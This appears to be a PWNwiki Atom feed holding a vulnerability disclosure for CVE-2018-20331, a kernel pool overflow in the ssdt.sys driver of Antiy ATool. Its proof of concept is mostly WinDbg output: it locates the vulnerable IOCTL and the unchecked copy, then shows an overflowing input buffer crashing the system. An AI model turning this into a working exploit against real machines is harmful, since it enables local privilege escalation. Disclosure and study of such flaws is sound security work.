<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-20331_ATool_1.0.0.22%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2018-20331 ATool 1.0.0.22緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2018-20331_ATool_1.0.0.22%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-20331_ATool_1.0.0.22%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T18:49:10Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2018-20331_ATool_1.0.0.22%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=686&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Kernel Pool Buffer Overflow ATool - 1.0.0.22 (0day) # CVE: CVE-2018-20331 # Date: 21-12-2018 # Software Link: http://www.antiy.net/ &lt;http://www....&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2018-20331_ATool_1.0.0.22%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=686&amp;oldid=prev"/>
		<updated>2021-03-27T02:52:36Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Kernel Pool Buffer Overflow ATool - 1.0.0.22 (0day) # CVE: CVE-2018-20331 # Date: 21-12-2018 # Software Link: http://www.antiy.net/ &amp;lt;http://www....&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Kernel Pool Buffer Overflow ATool - 1.0.0.22 (0day)&lt;br /&gt;
# CVE: CVE-2018-20331&lt;br /&gt;
# Date: 21-12-2018&lt;br /&gt;
# Software Link: http://www.antiy.net/ &amp;lt;http://www.antiy.net/&amp;gt; &lt;br /&gt;
# Exploit Author: Aloyce J. Makalanga&lt;br /&gt;
# Contact: https://twitter.com/aloycemjr &amp;lt;https://twitter.com/aloycemjr&amp;gt;&lt;br /&gt;
# Vendor Homepage: http://www.antiy.net/ &amp;lt;http://www.antiy.net/&amp;gt; &lt;br /&gt;
# Category: Windows&lt;br /&gt;
# Attack Type: local&lt;br /&gt;
# Impact:Code execution/Denial of Service/Escalation of Privileges&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1. Description&lt;br /&gt;
&lt;br /&gt;
&amp;gt; Local attackers can trigger a Kernel Pool Buffer Overflow in&lt;br /&gt;
&amp;gt; Antiy AVL ATool&lt;br /&gt;
&amp;gt; v1.0.0.22. An attacker must first obtain the ability to execute&lt;br /&gt;
&amp;gt; low-privileged code on the target system in order to exploit this&lt;br /&gt;
&amp;gt; vulnerability. The specific flaw exists within the processing of IOCTL&lt;br /&gt;
&amp;gt; 0x80002004 by the ssdt.sys kernel driver. The bug is&lt;br /&gt;
&amp;gt; caused by failure to properly validate the length of the user-supplied&lt;br /&gt;
&amp;gt; data. An attacker can&lt;br /&gt;
&amp;gt; leverage this vulnerability to execute arbitrary code in the context&lt;br /&gt;
&amp;gt; of the kernel, which could lead to privilege escalation. A failed&lt;br /&gt;
&amp;gt; exploit could lead to denial of service.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   &lt;br /&gt;
2. Proof of Concept&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
0: kd&amp;gt; !drvobj ssdt 2&lt;br /&gt;
Driver object (87fe0f38) is for:&lt;br /&gt;
 \Driver\ssdt&lt;br /&gt;
DriverEntry:   aaa0b99e	ssdt&lt;br /&gt;
DriverStartIo: 00000000	&lt;br /&gt;
DriverUnload:  aaa0b828	ssdt&lt;br /&gt;
AddDevice:     00000000	&lt;br /&gt;
&lt;br /&gt;
Dispatch routines:&lt;br /&gt;
[00] IRP_MJ_CREATE                      aaa0b686	ssdt+0x686&lt;br /&gt;
[01] IRP_MJ_CREATE_NAMED_PIPE           82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[02] IRP_MJ_CLOSE                       aaa0b686	ssdt+0x686&lt;br /&gt;
[03] IRP_MJ_READ                        82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[04] IRP_MJ_WRITE                       82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[05] IRP_MJ_QUERY_INFORMATION           82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[06] IRP_MJ_SET_INFORMATION             82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[07] IRP_MJ_QUERY_EA                    82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[08] IRP_MJ_SET_EA                      82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[09] IRP_MJ_FLUSH_BUFFERS               82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[0b] IRP_MJ_SET_VOLUME_INFORMATION      82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[0c] IRP_MJ_DIRECTORY_CONTROL           82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[0e] IRP_MJ_DEVICE_CONTROL              aaa0b6c8	ssdt+0x6c8 &amp;lt;======================= Dispatch Function&lt;br /&gt;
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[10] IRP_MJ_SHUTDOWN                    82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[11] IRP_MJ_LOCK_CONTROL                82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[12] IRP_MJ_CLEANUP                     82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[13] IRP_MJ_CREATE_MAILSLOT             82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[14] IRP_MJ_QUERY_SECURITY              82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[15] IRP_MJ_SET_SECURITY                82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[16] IRP_MJ_POWER                       82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[17] IRP_MJ_SYSTEM_CONTROL              82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[18] IRP_MJ_DEVICE_CHANGE               82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[19] IRP_MJ_QUERY_QUOTA                 82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[1a] IRP_MJ_SET_QUOTA                   82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
[1b] IRP_MJ_PNP                         82b08da3	nt!IopInvalidDeviceRequest&lt;br /&gt;
&lt;br /&gt;
0: kd&amp;gt; bp aaa0b6c8&lt;br /&gt;
0: kd&amp;gt; g&lt;br /&gt;
Breakpoint 0 hit&lt;br /&gt;
ssdt+0x6c8:&lt;br /&gt;
aaa0b6c8 8bff            mov     edi,edi&lt;br /&gt;
0: kd&amp;gt; dd edi&lt;br /&gt;
87d6d238  00800005 86c620c8 00000000 00000000&lt;br /&gt;
87d6d248  00000000 00000000 00000000 00000000&lt;br /&gt;
87d6d258  00000000 00000000 00000000 00040002&lt;br /&gt;
87d6d268  00000000 00000000 00000000 00000000&lt;br /&gt;
87d6d278  00000000 00000001 00000000 00040001&lt;br /&gt;
87d6d288  00000000 87d6d28c 87d6d28c 00040000&lt;br /&gt;
87d6d298  00000000 87d6d29c 87d6d29c 00000000&lt;br /&gt;
87d6d2a8  00000000 87d6d2ac 87d6d2ac 00000000&lt;br /&gt;
0: kd&amp;gt; u eip L20&lt;br /&gt;
ssdt+0x6c8:&lt;br /&gt;
aaa0b6c8 8bff            mov     edi,edi&lt;br /&gt;
aaa0b6ca 55              push    ebp&lt;br /&gt;
aaa0b6cb 8bec            mov     ebp,esp&lt;br /&gt;
aaa0b6cd 83ec0c          sub     esp,0Ch&lt;br /&gt;
aaa0b6d0 53              push    ebx&lt;br /&gt;
aaa0b6d1 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]&lt;br /&gt;
aaa0b6d4 8b4360          mov     eax,dword ptr [ebx+60h]&lt;br /&gt;
aaa0b6d7 56              push    esi&lt;br /&gt;
aaa0b6d8 33f6            xor     esi,esi&lt;br /&gt;
aaa0b6da 89731c          mov     dword ptr [ebx+1Ch],esi&lt;br /&gt;
aaa0b6dd 8b5004          mov     edx,dword ptr [eax+4]&lt;br /&gt;
aaa0b6e0 8b4808          mov     ecx,dword ptr [eax+8]&lt;br /&gt;
aaa0b6e3 8b400c          mov     eax,dword ptr [eax+0Ch]&lt;br /&gt;
aaa0b6e6 3d00200080      cmp     eax,80002000h&lt;br /&gt;
aaa0b6eb 57              push    edi&lt;br /&gt;
aaa0b6ec 8b7b0c          mov     edi,dword ptr [ebx+0Ch]&lt;br /&gt;
aaa0b6ef 8955fc          mov     dword ptr [ebp-4],edx&lt;br /&gt;
aaa0b6f2 0f84d7000000    je      ssdt+0x7cf (aaa0b7cf)&lt;br /&gt;
aaa0b6f8 3d04200080      cmp     eax,80002004h &amp;lt;======================== Vulnerable IOCTL&lt;br /&gt;
aaa0b6fd 7442            je      ssdt+0x741 (aaa0b741)&lt;br /&gt;
aaa0b6ff 3d08200080      cmp     eax,80002008h&lt;br /&gt;
aaa0b704 7531            jne     ssdt+0x737 (aaa0b737)&lt;br /&gt;
aaa0b706 8b37            mov     esi,dword ptr [edi]&lt;br /&gt;
aaa0b708 56              push    esi&lt;br /&gt;
aaa0b709 68a4b6a0aa      push    offset ssdt+0x6a4 (aaa0b6a4)&lt;br /&gt;
aaa0b70e e873fdffff      call    ssdt+0x486 (aaa0b486)&lt;br /&gt;
aaa0b713 a10cb5a0aa      mov     eax,dword ptr [ssdt+0x50c (aaa0b50c)]&lt;br /&gt;
aaa0b718 3b7008          cmp     esi,dword ptr [eax+8]&lt;br /&gt;
aaa0b71b 59              pop     ecx&lt;br /&gt;
aaa0b71c 59              pop     ecx&lt;br /&gt;
aaa0b71d 7714            ja      ssdt+0x733 (aaa0b733)&lt;br /&gt;
aaa0b71f 8b00            mov     eax,dword ptr [eax]&lt;br /&gt;
0: kd&amp;gt; u . L40&lt;br /&gt;
ssdt+0x6f8:&lt;br /&gt;
aaa0b6f8 3d04200080      cmp     eax,80002004h&lt;br /&gt;
aaa0b6fd 7442            je      ssdt+0x741 (aaa0b741)&lt;br /&gt;
aaa0b6ff 3d08200080      cmp     eax,80002008h&lt;br /&gt;
aaa0b704 7531            jne     ssdt+0x737 (aaa0b737)&lt;br /&gt;
aaa0b706 8b37            mov     esi,dword ptr [edi]&lt;br /&gt;
aaa0b708 56              push    esi&lt;br /&gt;
aaa0b709 68a4b6a0aa      push    offset ssdt+0x6a4 (aaa0b6a4)&lt;br /&gt;
aaa0b70e e873fdffff      call    ssdt+0x486 (aaa0b486)&lt;br /&gt;
aaa0b713 a10cb5a0aa      mov     eax,dword ptr [ssdt+0x50c (aaa0b50c)]&lt;br /&gt;
aaa0b718 3b7008          cmp     esi,dword ptr [eax+8]&lt;br /&gt;
aaa0b71b 59              pop     ecx&lt;br /&gt;
aaa0b71c 59              pop     ecx&lt;br /&gt;
aaa0b71d 7714            ja      ssdt+0x733 (aaa0b733)&lt;br /&gt;
aaa0b71f 8b00            mov     eax,dword ptr [eax]&lt;br /&gt;
aaa0b721 8b04b0          mov     eax,dword ptr [eax+esi*4]&lt;br /&gt;
aaa0b724 8907            mov     dword ptr [edi],eax&lt;br /&gt;
aaa0b726 8b45fc          mov     eax,dword ptr [ebp-4]&lt;br /&gt;
aaa0b729 89431c          mov     dword ptr [ebx+1Ch],eax&lt;br /&gt;
aaa0b72c 33f6            xor     esi,esi&lt;br /&gt;
aaa0b72e e9ad000000      jmp     ssdt+0x7e0 (aaa0b7e0)&lt;br /&gt;
aaa0b733 83631c00        and     dword ptr [ebx+1Ch],0&lt;br /&gt;
aaa0b737 be0d0000c0      mov     esi,0C000000Dh&lt;br /&gt;
aaa0b73c e99f000000      jmp     ssdt+0x7e0 (aaa0b7e0)&lt;br /&gt;
aaa0b741 6844646b20      push    206B6444h     &amp;lt;======================= Pooltag&lt;br /&gt;
aaa0b746 c1e902          shr     ecx,2&lt;br /&gt;
aaa0b749 52              push    edx&lt;br /&gt;
aaa0b74a 8bf1            mov     esi,ecx&lt;br /&gt;
aaa0b74c 6a00            push    0        &amp;lt;==================================Pool type&lt;br /&gt;
aaa0b74e &lt;br /&gt;
&lt;br /&gt;
1: kd&amp;gt; u . L20&lt;br /&gt;
ssdt+0x782:&lt;br /&gt;
aaa0b782 8911            mov     dword ptr [ecx],edx&lt;br /&gt;
aaa0b784 83c104          add     ecx,4&lt;br /&gt;
aaa0b787 ff4df8          dec     dword ptr [ebp-8]&lt;br /&gt;
aaa0b78a 75e5            jne     ssdt+0x771 (aaa0b771)&lt;br /&gt;
aaa0b78c 8b75f4          mov     esi,dword ptr [ebp-0Ch]&lt;br /&gt;
aaa0b78f 8b0d0cb5a0aa    mov     ecx,dword ptr [ssdt+0x50c (aaa0b50c)]&lt;br /&gt;
aaa0b795 3b7108          cmp     esi,dword ptr [ecx+8]&lt;br /&gt;
aaa0b798 7316            jae     ssdt+0x7b0 (aaa0b7b0)&lt;br /&gt;
aaa0b79a 8bd6            mov     edx,esi&lt;br /&gt;
aaa0b79c 8b09            mov     ecx,dword ptr [ecx]&lt;br /&gt;
aaa0b79e 8b0c91          mov     ecx,dword ptr [ecx+edx*4]&lt;br /&gt;
aaa0b7a1 890c90          mov     dword ptr [eax+edx*4],ecx&lt;br /&gt;
aaa0b7a4 8b0d0cb5a0aa    mov     ecx,dword ptr [ssdt+0x50c (aaa0b50c)]&lt;br /&gt;
aaa0b7aa 42              inc     edx&lt;br /&gt;
aaa0b7ab 3b5108          cmp     edx,dword ptr [ecx+8]&lt;br /&gt;
aaa0b7ae 72ec            jb      ssdt+0x79c (aaa0b79c)&lt;br /&gt;
aaa0b7b0 8b4dfc          mov     ecx,dword ptr [ebp-4]&lt;br /&gt;
aaa0b7b3 8bd1            mov     edx,ecx&lt;br /&gt;
aaa0b7b5 c1e902          shr     ecx,2&lt;br /&gt;
aaa0b7b8 8bf0            mov     esi,eax&lt;br /&gt;
aaa0b7ba f3a5            rep movs dword ptr es:[edi],dword ptr [esi]&lt;br /&gt;
aaa0b7bc 8bca            mov     ecx,edx&lt;br /&gt;
aaa0b7be 83e103          and     ecx,3&lt;br /&gt;
aaa0b7c1 50              push    eax&lt;br /&gt;
aaa0b7c2 f3a4            rep movs byte ptr es:[edi],byte ptr [esi] &amp;lt;======================= Vulnerable copy&lt;br /&gt;
&lt;br /&gt;
1: kd&amp;gt; dc edi&lt;br /&gt;
85a6ce00  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA    &amp;lt;================ Evil user input &lt;br /&gt;
85a6ce10  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce20  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce30  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce40  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce50  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce60  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
85a6ce70  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA&lt;br /&gt;
1: kd&amp;gt; g&lt;br /&gt;
&lt;br /&gt;
*** Fatal System Error: 0x00000019&lt;br /&gt;
                       (0x00000020,0x892CF250,0x892CF260,0x08020012)&lt;br /&gt;
&lt;br /&gt;
Break instruction exception - code 80000003 (first chance)&lt;br /&gt;
&lt;br /&gt;
A fatal system error has occurred.&lt;br /&gt;
Debugger entered on first try; Bugcheck callbacks have not been invoked.&lt;br /&gt;
&lt;br /&gt;
A fatal system error has occurred.&lt;br /&gt;
&lt;br /&gt;
1: kd&amp;gt; !analyze -v&lt;br /&gt;
&lt;br /&gt;
*******************************************************************************&lt;br /&gt;
*                                                                             *&lt;br /&gt;
*                        Bugcheck Analysis                                    *&lt;br /&gt;
*                                                                             *&lt;br /&gt;
*******************************************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
BAD_POOL_HEADER (19)&lt;br /&gt;
The pool is already corrupt at the time of the current request.&lt;br /&gt;
This may or may not be due to the caller.&lt;br /&gt;
The internal pool links must be walked to figure out a possible cause of&lt;br /&gt;
the problem, and then special pool applied to the suspect tags or the driver&lt;br /&gt;
verifier to a suspect driver.&lt;br /&gt;
Arguments:&lt;br /&gt;
Arg1: 00000020, a pool block header size is corrupt.&lt;br /&gt;
Arg2: 892cf250, The pool entry we were looking for within the page.&lt;br /&gt;
Arg3: 892cf260, The next pool entry.&lt;br /&gt;
Arg4: 08020012, (reserved&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Solution:&lt;br /&gt;
   &lt;br /&gt;
None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>